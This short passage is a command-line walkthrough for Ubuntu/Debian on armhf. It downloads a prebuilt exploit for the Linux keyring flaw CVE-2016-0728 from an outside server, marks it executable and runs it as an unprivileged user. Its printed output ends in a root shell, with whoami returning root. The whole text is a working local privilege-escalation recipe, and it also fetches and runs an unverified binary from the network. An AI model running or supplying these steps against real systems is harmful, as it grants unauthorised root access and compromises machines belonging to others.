Ubuntu / Debian: # download exploit: $ wget http://oph.mdrjr.net/meveric/other/security/cve_2016_0728/armhf/keyrings_facility_leak # make exploit executable $ chmod +x keyrings_facility_leak # run exploit as NORMAL user (NOT root) -> at the end the whoami command returns as root -> unprivileged user got root permissions ./keyrings_facility_leak PP1 Increfing... finished increfing forking... finished forking caling revoke... uid=0, euid=0 # # whoami root #